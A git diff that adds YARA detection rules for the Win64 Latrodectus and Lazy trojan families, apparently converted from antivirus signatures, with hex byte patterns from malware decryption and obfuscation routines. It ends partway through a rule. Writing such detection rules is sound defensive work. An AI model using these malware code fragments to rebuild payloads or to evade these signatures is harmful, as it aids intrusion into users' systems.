b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_BJ_MTB.yar new file mode 100644 index 0000000000..d65ea62108 --- /dev/null +++ b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_BJ_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_Latrodectus_BJ_MTB{ + meta: + description = "Trojan:Win64/Latrodectus.BJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {66 0f fd c2 44 30 14 0f } //2 + $a_01_1 = {66 0f f9 d0 45 8a 14 11 } //1 + $a_01_2 = {66 0f 6f cb 66 0f 6f c3 49 f7 f3 } //1 + $a_01_3 = {66 0f 6f c8 48 31 d2 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_BY_MTB.yar b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_BY_MTB.yar new file mode 100644 index 0000000000..5dc0370136 --- /dev/null +++ b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_BY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Latrodectus_BY_MTB{ + meta: + description = "Trojan:Win64/Latrodectus.BY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {45 8a 1c 10 c5 e5 75 db c5 e5 71 f3 07 c4 e3 fd 00 f6 d8 c4 e3 fd 00 ff d8 c5 cd 60 e1 c5 cd 68 f1 c5 c5 60 c1 c5 c5 68 f9 c5 cd fd eb c5 dd fd d3 44 30 1c 0f } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_CCJY_MTB.yar b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_CCJY_MTB.yar new file mode 100644 index 0000000000..3a14bc3825 --- /dev/null +++ b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_CCJY_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Latrodectus_CCJY_MTB{ + meta: + description = "Trojan:Win64/Latrodectus.CCJY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {48 8b 44 24 28 48 8b 4c 24 58 48 03 c8 48 8b c1 0f b6 00 48 63 4c 24 20 0f b6 4c 0c 30 33 c1 48 8b 4c 24 28 48 8b 54 24 58 48 03 d1 48 8b ca 88 01 e9 } //6 + $a_01_1 = {65 78 74 72 61 00 66 6f 6c 6c 6f 77 65 72 00 72 75 6e 00 73 63 75 62 } //4 + condition: + ((#a_01_0 & 1)*6+(#a_01_1 & 1)*4) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_DK_MTB.yar b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_DK_MTB.yar new file mode 100644 index 0000000000..fbc30adc5b --- /dev/null +++ b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_DK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Latrodectus_DK_MTB{ + meta: + description = "Trojan:Win64/Latrodectus.DK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {41 8b c6 99 41 ff c2 41 f7 fd 41 ff c6 34 35 0f b6 c8 41 0f b6 80 11 0d 00 00 0f af c1 0f b7 ce 41 88 80 11 0d 00 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_DL_MTB.yar b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_DL_MTB.yar new file mode 100644 index 0000000000..7c890b816e --- /dev/null +++ b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_DL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Latrodectus_DL_MTB{ + meta: + description = "Trojan:Win64/Latrodectus.DL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {45 29 d3 41 c1 e2 04 45 0f af d8 45 01 da 41 83 c2 08 41 c1 ea 04 41 20 c3 41 88 0c 08 66 41 09 c2 48 ff c1 } //5 + $a_01_1 = {48 ff c2 41 30 db 48 81 fa } //5 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_GTS_MTB.yar b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_GTS_MTB.yar new file mode 100644 index 0000000000..e372d378e1 --- /dev/null +++ b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_GTS_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Latrodectus_GTS_MTB{ + meta: + description = "Trojan:Win64/Latrodectus.GTS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_01_0 = {c5 fd 62 c3 c5 e5 6a dc c5 f5 ef c9 c5 e5 75 db c5 e5 71 f3 07 45 8a 34 11 c5 e5 67 db } //5 + $a_01_1 = {c5 dd 60 e1 c5 e5 60 dd c5 c5 73 d8 02 c5 fd 69 f4 c5 fd 61 c4 c5 dd 73 dc 02 c5 f5 73 db 02 c5 e5 69 d7 44 30 34 0f c5 e5 67 db c5 dd fd e6 } //4 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*4) >=9 + +} \ No newline at end of file diff --git a/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_GVA_MTB.yar b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_GVA_MTB.yar new file mode 100644 index 0000000000..4c29188902 --- /dev/null +++ b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Latrodectus_GVA_MTB{ + meta: + description = "Trojan:Win64/Latrodectus.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {c5 dd fd e6 c5 d5 fd ef 44 30 14 0f 66 0f 70 fe ?? 66 0f 70 fd ?? 66 0f f1 da 66 0f f1 ec } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_GVC_MTB.yar b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_GVC_MTB.yar new file mode 100644 index 0000000000..85f7303965 --- /dev/null +++ b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_GVC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Latrodectus_GVC_MTB{ + meta: + description = "Trojan:Win64/Latrodectus.GVC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {66 0f 6f c3 45 8a 14 11 66 0f 6d cf 66 0f 6f cb } //2 + $a_01_1 = {66 0f 6c ca 44 30 14 0f 66 0f 6f c1 66 0f dd e6 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_LLB_MTB.yar b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_LLB_MTB.yar new file mode 100644 index 0000000000..6b92c7a202 --- /dev/null +++ b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_LLB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Latrodectus_LLB_MTB{ + meta: + description = "Trojan:Win64/Latrodectus.LLB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_01_0 = {c5 f5 67 c9 c5 ed fd d6 c5 e5 fd df c5 ed 67 d2 44 30 14 0f c5 dd fd e6 c5 d5 fd ef c5 dd 67 e4 } //5 + $a_01_1 = {c5 e5 6a dc c5 f5 ef c9 48 ff c1 66 0f 70 fc 00 c5 fc 28 c1 c5 fc 28 d3 } //4 + $a_01_2 = {0f 28 dc 48 89 c8 0f 28 df 44 0f 14 c0 } //3 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*4+(#a_01_2 & 1)*3) >=12 + +} \ No newline at end of file diff --git a/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_MJV_MTB.yar b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_MJV_MTB.yar new file mode 100644 index 0000000000..4d9d9a4d8e --- /dev/null +++ b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_MJV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Latrodectus_MJV_MTB{ + meta: + description = "Trojan:Win64/Latrodectus.MJV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {49 f7 f2 48 83 c2 03 45 8a 5c 15 ?? 66 0f 70 fe 00 66 0f 70 fd 00 66 0f f1 da 66 0f f1 ec 66 0f 70 f7 00 66 0f 70 f3 00 66 0f 70 fe 00 66 0f 70 fc 00 c5 fc 28 c1 c5 fc 28 d3 c4 e2 7d 00 c4 c4 e2 6d 00 d5 c5 e5 73 db ?? c4 e2 7d 40 c3 c4 e2 6d 40 d4 44 30 1c 0f 66 0f 70 fa 00 66 0f e5 d4 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_MZD_MTB.yar b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_MZD_MTB.yar new file mode 100644 index 0000000000..59c102d497 --- /dev/null +++ b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_MZD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Latrodectus_MZD_MTB{ + meta: + description = "Trojan:Win64/Latrodectus.MZD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_01_0 = {66 0f 6c c2 66 0f 6c d1 66 0f 6f c8 45 8a 14 11 66 0f 6c ca 66 0f f9 d0 66 0f 6f cb 66 0f 6f d8 66 0f 6c d3 } //5 + $a_01_1 = {66 0f f9 d0 66 0f f9 cb 44 30 14 0f 66 0f 6a ca 66 0f 6d da 66 0f 38 30 d0 66 0f 61 ca 66 0f 6f c1 } //4 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*4) >=9 + +} \ No newline at end of file diff --git a/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_PH_MTB.yar b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_PH_MTB.yar index 541ba4025b..ed56f4f23e 100644 --- a/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_PH_MTB.yar +++ b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_PH_MTB.yar @@ -8,4 +8,14 @@ rule Trojan_Win64_Latrodectus_PH_MTB{ condition: ((#a_03_0 & 1)*1) >=1 +} +rule Trojan_Win64_Latrodectus_PH_MTB_2{ + meta: + description = "Trojan:Win64/Latrodectus.PH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {48 8b c1 b9 06 00 00 00 90 13 83 c1 02 48 f7 f1 90 13 48 8b c2 48 8b 4c 24 ?? 90 13 0f b6 44 01 ?? 8b 8c 24 ?? 00 00 00 90 13 33 c8 8b c1 90 13 48 63 4c 24 ?? 48 8b 54 24 ?? 90 13 88 04 0a 90 13 8b 44 24 ?? 90 13 ff c0 89 44 24 ?? e9 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + } \ No newline at end of file diff --git a/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_YAC_MTB.yar b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_YAC_MTB.yar new file mode 100644 index 0000000000..68a2a5916e --- /dev/null +++ b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_YAC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Latrodectus_YAC_MTB{ + meta: + description = "Trojan:Win64/Latrodectus.YAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {41 5f 41 5b 44 30 2c 0f 66 0f d9 da 66 0f d9 d0 66 0f eb d3 66 0f 6f d8 66 0f f5 d1 66 0f fe f2 } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AB_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AB_MTB.yar new file mode 100644 index 0000000000..55b0045d67 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Lazy_AB_MTB{ + meta: + description = "Trojan:Win64/Lazy.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {c0 a8 e2 76 09 00 46 04 15 1f e4 10 b4 dd 01 82 3a 52 eb 20 14 ef d8 be 2c 0e 8d 42 5c 0f a0 dc fa 80 c9 4f } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AC_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AC_MTB.yar new file mode 100644 index 0000000000..238a646b3e --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Lazy_AC_MTB{ + meta: + description = "Trojan:Win64/Lazy.AC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {80 f2 00 80 e2 01 45 88 c2 41 80 f2 01 41 80 e2 00 44 08 d2 41 88 c2 41 80 f2 ff 41 88 d3 41 80 f3 ff 44 88 c3 80 f3 01 45 08 da 80 cb 01 41 80 f2 ff } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AHC_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AHC_MTB.yar new file mode 100644 index 0000000000..2a44d12111 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AHC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Lazy_AHC_MTB{ + meta: + description = "Trojan:Win64/Lazy.AHC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {48 ff c0 48 31 c2 48 8d 05 ?? ?? ?? 00 48 c7 00 00 00 00 00 48 01 38 48 8d 05 ?? ?? ?? 00 48 c7 00 00 00 00 00 4c 01 38 48 89 d0 48 8d 05 ?? ?? ?? 00 48 89 28 48 01 c2 48 31 c0 } //3 + $a_03_1 = {48 31 c2 48 31 c2 48 8d 05 ?? ?? 02 00 48 c7 00 00 00 00 00 48 01 18 48 29 c2 48 83 f2 09 48 8d 05 ?? ?? 02 00 4c 89 00 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AHD_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AHD_MTB.yar new file mode 100644 index 0000000000..afd56a3046 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AHD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Lazy_AHD_MTB{ + meta: + description = "Trojan:Win64/Lazy.AHD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {89 08 8b 4d 03 89 48 04 0f b6 4d 07 88 48 08 0f b6 4d 08 88 48 09 48 8d 78 10 48 89 7d ef 48 89 77 38 48 8b 4d 47 48 85 c9 74 ?? 48 8b 01 48 8b d7 ff 10 } //3 + $a_03_1 = {48 8d 40 01 80 3c 03 00 75 ?? 4c 8d 48 01 48 c7 44 24 20 00 00 00 00 4c 8b c3 49 8b d6 48 8b cf ff 15 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AHI_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AHI_MTB.yar new file mode 100644 index 0000000000..65afcf84c8 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AHI_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Lazy_AHI_MTB{ + meta: + description = "Trojan:Win64/Lazy.AHI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 00 " + + strings : + $a_01_0 = {4c 89 74 24 50 48 89 44 24 40 48 c7 44 24 58 00 00 00 00 48 c7 44 24 48 01 00 00 00 c7 44 24 38 28 00 00 00 c7 44 24 30 96 00 00 00 c7 44 24 28 fa 00 00 00 c7 44 24 20 dc 00 00 00 } //5 + $a_01_1 = {4d 8d 48 1f 49 83 e1 e0 4d 8b d9 49 c1 eb 05 47 8b 9c 9a b0 5f 06 00 4d 03 da 41 } //3 + $a_80_2 = {43 68 65 61 74 69 6e 67 20 45 6e 67 69 6e 65 } //Cheating Engine 2 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*3+(#a_80_2 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AM_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AM_MTB.yar new file mode 100644 index 0000000000..1ecf43905c --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Lazy_AM_MTB{ + meta: + description = "Trojan:Win64/Lazy.AM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {89 c2 f7 d2 89 d5 09 cd f7 d5 83 e2 ?? 25 ?? 00 00 00 09 d0 31 c8 83 f0 ?? 21 c8 89 e9 21 c1 31 e8 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AP_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AP_MTB.yar new file mode 100644 index 0000000000..9ef0cf45e7 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Lazy_AP_MTB{ + meta: + description = "Trojan:Win64/Lazy.AP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0f 95 c0 0f 94 c1 83 3d 86 0b 04 00 09 0f 9f c2 30 d1 89 d3 20 c3 30 c2 08 da 89 c8 30 d0 bd } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AQ_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AQ_MTB.yar new file mode 100644 index 0000000000..c86d38cce9 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Lazy_AQ_MTB{ + meta: + description = "Trojan:Win64/Lazy.AQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 8b 44 24 40 0f be 00 44 31 e8 44 69 e0 95 e9 d1 5b 44 33 64 24 54 b8 00 ad 85 3a 3d 58 15 53 f9 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AR_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AR_MTB.yar new file mode 100644 index 0000000000..310a8c5d9d --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Lazy_AR_MTB{ + meta: + description = "Trojan:Win64/Lazy.AR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {6a 59 52 33 41 58 4c 55 79 30 42 58 33 30 4f 51 4e 66 67 53 75 6b 6c 6a 56 35 } //1 jYR3AXLUy0BX30OQNfgSukljV5 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AS_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AS_MTB.yar new file mode 100644 index 0000000000..81d8196587 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Lazy_AS_MTB{ + meta: + description = "Trojan:Win64/Lazy.AS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {48 33 c4 48 89 84 24 00 18 00 00 45 33 e4 44 89 a4 24 c0 00 00 00 c6 84 24 d0 00 00 00 ?? b0 ?? b1 ?? b2 ?? 41 b0 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AZLY_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AZLY_MTB.yar new file mode 100644 index 0000000000..1428f63bb1 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_AZLY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Lazy_AZLY_MTB{ + meta: + description = "Trojan:Win64/Lazy.AZLY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {66 89 44 24 6b 88 44 24 6d 66 89 44 24 6e 88 44 24 70 66 89 44 24 71 88 44 24 73 66 89 44 24 74 88 44 24 76 66 89 44 24 77 88 44 24 79 66 89 44 24 7a 88 44 24 7c 89 7c 24 64 0f 10 03 0f 29 45 d0 89 7c 24 34 c6 44 24 68 01 48 8d 55 50 48 8d 4c 24 20 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_BOE_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_BOE_MTB.yar new file mode 100644 index 0000000000..4fd54bfdc7 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_BOE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Lazy_BOE_MTB{ + meta: + description = "Trojan:Win64/Lazy.BOE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {c0 e9 03 c0 e0 05 08 c8 34 a0 41 88 04 24 49 8b 76 18 48 8b 05 ?? ?? ?? ?? 4c 01 f8 ff d0 48 98 48 8d 0d a8 17 24 00 48 3b 34 c1 0f 86 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_DA_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_DA_MTB.yar new file mode 100644 index 0000000000..6133eaac54 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_DA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Lazy_DA_MTB{ + meta: + description = "Trojan:Win64/Lazy.DA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 00 " + + strings : + $a_01_0 = {4c 8b 07 49 8b c6 48 f7 e1 48 c1 ea 03 48 6b c2 0f 48 2b c8 0f b6 44 0c 20 43 32 04 0a 43 88 04 02 41 ff c3 49 ff c2 49 63 cb 48 3b 4b 10 } //1 + $a_01_1 = {48 8b 0f 49 8b c6 49 f7 e1 48 c1 ea 02 48 8d 04 52 48 03 c0 4c 2b c8 42 0f b6 44 0d b7 43 32 04 02 41 88 04 0a 41 ff c3 49 ff c2 4d 63 cb 4c 3b 4b 10 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_ETL_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_ETL_MTB.yar new file mode 100644 index 0000000000..1f39e0cd34 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_ETL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Lazy_ETL_MTB{ + meta: + description = "Trojan:Win64/Lazy.ETL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {30 84 0d a0 00 00 00 8d 41 88 30 84 0d a1 00 00 00 8d 41 89 30 84 0d a2 00 00 00 8d 41 8a 30 84 0d a3 00 00 00 8d 41 8b 30 84 0d a4 00 00 00 8d 41 8c 30 84 0d a5 00 00 00 8d 41 8d 30 84 0d a6 00 00 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_FY_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_FY_MTB.yar new file mode 100644 index 0000000000..9f357db782 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_FY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Lazy_FY_MTB{ + meta: + description = "Trojan:Win64/Lazy.FY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {66 0f 6f c7 48 8d 4c 24 30 0f 57 c6 33 d2 66 0f 7f 44 24 30 ff ?? ?? ?? ?? ?? 48 89 05 e7 27 23 00 48 85 c0 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GC_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GC_MTB.yar new file mode 100644 index 0000000000..8d9dff5c31 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GC_MTB.yar @@ -0,0 +1,19 @@ + +rule Trojan_Win64_Lazy_GC_MTB{ + meta: + description = "Trojan:Win64/Lazy.GC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 00 " + + strings : + $a_01_0 = {67 6f 6f 64 2e 35 64 66 72 75 69 74 6a 6b 67 72 65 61 74 } //1 good.5dfruitjkgreat + $a_01_1 = {43 77 6f 6e 2e 74 74 68 65 69 72 32 4b 61 62 75 6e 64 61 6e 74 6c 79 2e 6c 61 6e 64 } //1 Cwon.ttheir2Kabundantly.land + $a_01_2 = {6f 3a 5c 64 69 72 5f 66 6f 72 5f 62 75 69 6c 64 73 5c 62 6c 64 4f 62 6a } //1 o:\dir_for_builds\bldObj + $a_01_3 = {67 69 76 65 6e 65 76 65 72 79 6e } //1 giveneveryn + $a_01_4 = {6b 74 72 65 65 6c 6d 61 6e 2c 52 6d } //1 ktreelman,Rm + $a_01_5 = {73 61 79 69 6e 67 72 37 5a 73 68 65 2e 64 66 72 75 69 74 66 75 6c 64 7a 66 65 6d 61 6c 65 67 72 65 61 74 65 72 } //1 sayingr7Zshe.dfruitfuldzfemalegreater + $a_01_6 = {36 6d 61 6c 65 79 6f 75 2e 72 65 2c 6d 75 6c 74 69 70 6c 79 2c 54 68 65 67 72 65 65 6e 72 65 70 6c 65 6e 69 73 68 66 69 74 73 65 6c 66 77 } //1 6maleyou.re,multiply,Thegreenreplenishfitselfw + $a_01_7 = {76 67 30 35 62 33 77 45 2e 44 6c 6c } //1 vg05b3wE.Dll + $a_01_8 = {73 45 4c 46 2e 65 58 65 } //1 sELF.eXe + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=9 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GVB_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GVB_MTB.yar new file mode 100644 index 0000000000..f2b810193f --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GVB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Lazy_GVB_MTB{ + meta: + description = "Trojan:Win64/Lazy.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {48 03 c8 48 8b c1 0f b6 00 83 f0 36 48 8b 8c 24 ?? 